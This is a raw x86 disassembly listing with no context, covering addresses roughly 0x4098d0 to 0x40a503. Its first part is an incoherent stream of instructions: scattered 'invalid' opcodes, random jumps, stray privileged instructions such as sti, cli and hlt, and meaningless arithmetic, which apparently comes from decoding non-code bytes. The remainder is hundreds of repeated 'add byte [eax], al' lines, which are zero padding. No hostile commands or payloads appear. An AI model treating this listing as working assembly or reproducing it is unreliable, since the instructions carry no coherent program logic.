ja 0x4098d0
rcl dword [eax - 0x70], 0x90
nop
or byte [edi], 0x84
mov byte [0x414bdd], cl
sar ecx, 1
test byte [eax + 0x414bdd0d], cl
add cl, dl
stc
mov dword [ebp - 0x1c], eax
fisttp dword [edi]
mov edi, edi
add eax, dword [eax]
lea eax, [ebp - 0x10]
sbb al, 0
inc dword [ebx]
add byte [ebp + 0x1cf045], cl
or eax, 0xbf47757
inc ebp
nop
push edi
ja 0x4098e2
or eax, dword [ebp - 0x70]
add byte [eax], al
das
sbb dh, byte [esi - 0x70]
jne 0x409905
sti
sbb dh, byte [esi - 0x70]
cld
xchg esp, eax
mov eax, dword [ebp + 0x1c]
jne 0x409930
pop esp
or al, 0x2f
and al, 0x1a
push esi
mov esp, ebp
jbe 0x4098ad
ja 0x4098bb
invalid
push ebp
nop
pop eax
jbe 0x40996b
sub eax, 0x2d74d776
ja 0x4098eb
nop
mov esp, 0x9520775b
jbe 0x4098ca
push edi
push eax
or al, 0x57
and esp, ecx
and byte [eax], al
fld st(0)
jmp 0x407a74
sub ah, cl
invalid
jbe 0x4099c0
jge 0x40997d
cld
add byte [eax], al
inc ebp
and eax, 0x761a0b08
nop
or byte [ebx], cl
sbb dh, byte [esi - 0x70]
popal
aaa
nop
sbb dh, byte [esi - 0x70]
jbe 0x40990f
sub al, 0x89
add byte [eax], al
lodsb al, byte [esi]
push ebp
push edi
adc byte [ebx + 0x4889144e], cl
cmp al, 0xff
mov ebx, dword [0x42b3fe]
std
nop
call fcn.00407fa1
nop
jbe 0x409927
jbe 0x409a16
add al, byte [eax]
add byte [esi + 0x58], al
nop
mov edi, edi
fadd dword [eax]
jbe 0x4099d6
pop ss
movsb byte es:[edi], byte [esi]
sal byte [ebp + eax - 0x75], 0x4d
jbe 0x409946
push ebp
nop
and byte [ecx], cl
jbe 0x4099f0
xor al, 0x89
dec eax
adc byte [eax - 0x6fa7bee8], dl
mov dword [eax + 0x10], ecx
nop
sbb byte [ecx + 0x58], al
nop
loope 0x409a17
inc ebp
add al, 0x70
jne 0x4099e7
nop
jbe 0x409a25
test dword [eax + 0x77], ebx
pop eax
add al, 0x64
jbe 0x4099bb
pop edx
sub esp, 0xc4
pushal
mov ecx, dword [esp + 4]
inc ebp
jbe 0x409974
push ebp
jbe 0x40996b
adc dword [ecx + 0x55], 0xffffffe2
jbe 0x409a1a
push ecx
push ebp
loop 0x409a62
sub eax, 0x2d751a76
jbe 0x409a09
jne 0x409a1e
sub eax, 0x9085761a
sbb dh, byte [esi - 0x7b]
nop
push ecx
mov al, byte [0xa2c3762f]
add byte [eax], al
lodsb al, byte [esi]
add byte [eax], al
and bl, byte [edx + 0x77]
push esi
stc
xchg edi, eax
jne 0x409a35
add byte [eax], al
cli
add dl, bh
or dword [edx], ebx
jbe 0x409a7e
nop
ret 0x762d
andnps xmm5, xmmword [esi]
jbe 0x409a58
push ebp
jbe 0x409a58
cmp eax, 0x850fec6a
push ebp
test al, 0xff
inc dword [edi]
push 0xffffffffffffffec
jne 0x404278
test dword [ebp - 0x58], edx
invalid
pop es
ja 0x409a9e
js 0x4099c6
lahf
jp 0x409a9b
nop
add dword [eax], eax
les ecx, [ebx - 0x3074ef83]
mov ecx, 0
add byte [eax], al
add cl, byte [edi]
push ebp
ja 0x4099d6
dec eax
dec esi
xor byte [esi - 0x12], dh
pop ebp
jl 0x409a64
push 0x90761a09
nop
nop
nop
ja 0x409a48
ja 0x4099d7
push ebp
nop
or byte [edx + 0x10], ch
jbe 0x4099e6
add al, byte [eax]
mov ch, byte [esi]
jbe 0x4099ec
adc byte [ebx + 0x8e183cf], cl
pushal
nop
popfd
pop esi
sub dword [esi], ebp
jbe 0x409a9c
or byte [edx], bl
nop
invalid
invalid
jne 0x409ab9
sbb al, 5
add eax, 0x90909090
nop
nop
nop
nop
sub esp, 0x24
jne 0x409b31
and eax, 0x761a0848
lahf
popal
or al, bh
xor eax, 0
jmp 0x409b38
adc byte [ebp - 0x937b], cl
mov eax, dword [eax + 4]
push ebp
inc eax
add al, 0x55
call fcn.00404dd8
ret 0
pop edi
ja 0x409bbb
add byte [eax], al
ja 0x409bc7
sub eax, 0x2deb7776
or dword [edx], ebx
nop
nop
mov byte [0x7c4762f], al
push ebp
push edi
xor byte [esi + 0x69], dh
jne 0x4080f6
add byte [eax], al
nop
mov dh, 0x2b
sub ebp, dword [esi]
xchg ebp, eax
jbe 0x409b60
nop
add byte [eax], al
int3
add byte [eax], al
ja 0x409c3d
loopne 0x409b88
add byte [ebx + 0x45890845], cl
nop
adc byte [ebx], ch
jbe 0x409bd0
add eax, 0x90909090
nop
invalid
mov esi, dword [ebp + 8]
nop
loopne 0x409c3a
xor eax, 0x382e1b58
mov edx, dword [esp + 8]
or eax, dword [eax]
add byte [eax - 0x6f55a9a2], dl
pop eax
sbb ebp, dword [esi]
cmp byte [ebx + 0xb082454], cl
add byte [eax], al
nop
pop esi
push esi
stosb byte es:[edi], al
nop
jecxz 0x409c6e
nop
jbe 0x409c73
nop
ja 0x409c96
add byte [eax], al
or ebx, dword [edx]
adc dword [eax], esi
or byte [edi + ecx], al
nop
jbe 0x409c7a
jbe 0x409c9d
pop esp
rep stosd dword es:[edi], eax
sub eax, 0x2d7de976
jge 0x409c6c
add esp, dword [esi]
add byte [eax], al
add byte [0x49b762e], al
ja 0x409bff
jbe 0x409c33
or ch, byte [esi]
sti
push esp
nop
inc edi
add al, byte [eax]
push 2
nop
pop ebp
push ebp
les esp, [0x4128b3]
inc ecx
add ah, dh
stc
or byte [edx], bl
push ebx
hlt
jbe 0x409c60
nop
lahf
jne 0x409c95
lahf
ja 0x409cd0
jbe 0x409c04
nop
sbb dh, byte [esi - 0x18]
push edi
dec edi
mov dword [ebp - 0x2c], esi
and esi, 2
push esi
xor edi, edi
mov ecx, dword [eax + 0x50]
add byte [eax], al
adc byte [ebx + 0x57], dl
ror dword [ecx - 0x3f7a03bb], cl
mov dword [ebp - 4], eax
test eax, eax
ja 0x409c4b
add byte [edi], cl
into
add bh, dh
ja 0x409c57
add byte [esi + 0x2f], dh
jae 0x409ce4
or al, 0xff
mov ebp, esp
and dword [edx + 0x77], ebx
jne 0x404ae5
mov bl, 0x41
xchg bl, ah
nop
and ecx, 0x10000003
jbe 0x409d14
cmp dword [ebp - 0xa0], ebx
lea eax, [ebp - 0xc]
mov edx, 0x8b000000
hlt
test dword [ebx - 0x50], eax
invalid
push edi
jne 0x409d2f
jbe 0x409d01
nop
into
or byte [edi], 0x84
jbe 0x409cb0
nop
dec edx
cmp eax, 0x80000006
pop eax
cmp byte [ebx + 0xb082454], cl
jbe 0x409d56
or al, 0xff
jbe 0x409ce8
div byte [ebp + eax - 0x75]
push ecx
and eax, 0x761a0938
mov esi, dword [ebp + 0x1c]
loopne 0x409d42
call dword [eax - 0x6c6f89e6]
nop
sbb dh, byte [esi - 0x70]
xchg ebx, eax
jne 0x409d62
nop
clc
sbb eax, 0xff688d39
mov ch, 0x74
std
nop
add al, bl
nop
dec ecx
bound esi, qword [edi - 0x30]
add esp, dword [esi]
invalid
adc dword [ebp - 6], esi
add byte [esi - 0x70], dh
or ebx, dword [edx]
jbe 0x40a3ed
nop
nop
sbb dh, byte [esi - 0x70]
nop
cld
ror byte [edi], 0x8d
nop
leave
add byte [eax], al
jbe 0x40a33d
jbe 0x40a3a4
or al, ch
push esi
ror byte [edi], 0x85
push ebp
jbe 0x40a352
pop ebp
hlt
nop
jbe 0x40a3c0
jbe 0x40a41a
add byte [eax], al
nop
add byte [eax], al
invalid
sub eax, 0x2d97de76
ja 0x40a416
je 0x40a401
ja 0x40a44e
sbb byte [ebx], bh
lahf
sub eax, 0x2dcfad76
iretd
add byte [ebx], bh
cmp eax, 0x76260001
les eax, [edx + eax*8]
pop esi
add byte [ebx - 0x57ff2b9b], al
xor bl, byte [ecx + 0x77]
ja 0x40a3e0
leave
pop eax
adc eax, 0x761a04b4
add al, 0x1a
jbe 0x40a42f
adc edx, eax
cmp al, 0xff
ja 0x40a48c
ret 0xff3c
mov eax, dword [edi + 0x88]
jbe 0x40a3ac
ret 0x75ff
jbe 0x40a432
rcl byte [ecx - 0x73]
add al, 0
sal byte [ebp + eax - 0x75], 0x4d
add byte [eax], al
cmp esi, edi
jbe 0x40a475
xchg edx, eax
les edx, [eax - 1]
call fcn.004093a7
pop edi
call fcn.00403c52
test dword [esi], ebp
add byte [ebx - 0xc62173a], cl
clc
or al, 0xb
mov dl, 0x1b
sbb eax, 0x3b762dc7
nop
push eax
invalid
cwde
invalid
jbe 0x40a3ff
add byte [eax], al
and al, 0xf
jge 0x40a499
push eax
jbe 0x40a47b
sub eax, 0x2dc02676
jbe 0x40a444
xchg ebp, eax
ja 0x40a4a6
add byte [ebx - 0x7bf00a08], al
fild qword [0x411d49]
ja 0x40a41d
cmp eax, ecx
sub eax, 0x2d751a76
jbe 0x40a4a8
jne 0x40a4bd
nop
nop
jbe 0x40a45c
add al, ch
or al, 0
push ebp
lea esp, [eax - 1]
add byte [ecx + 0x46890446], cl
nop
pushal
or byte [edi], 0x84
dec edi
xchg edx, eax
push ecx
nop
nop
mov esi, dword [ebp - 0x2c]
cmp esi, edx
stosb byte es:[edi], al
rol dword [ecx], 0xc2
sti
add byte [eax], al
push esi
sub dword [ecx + ebx*2], esi
nop
add byte [eax], al
jbe 0x40a4df
nop
cmp eax, 0xfffffff5
jbe 0x40a4cd
mov ch, 1
add eax, dword ss:[eax]
jbe 0x40a464
test eax, eax
add bh, bh
mov edi, edi
add eax, dword [ebx + 0x458b0021]
inc ebp
add byte [eax], al
ja 0x40a4cf
pop ecx
nop
push esi
jbe 0x40a503
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
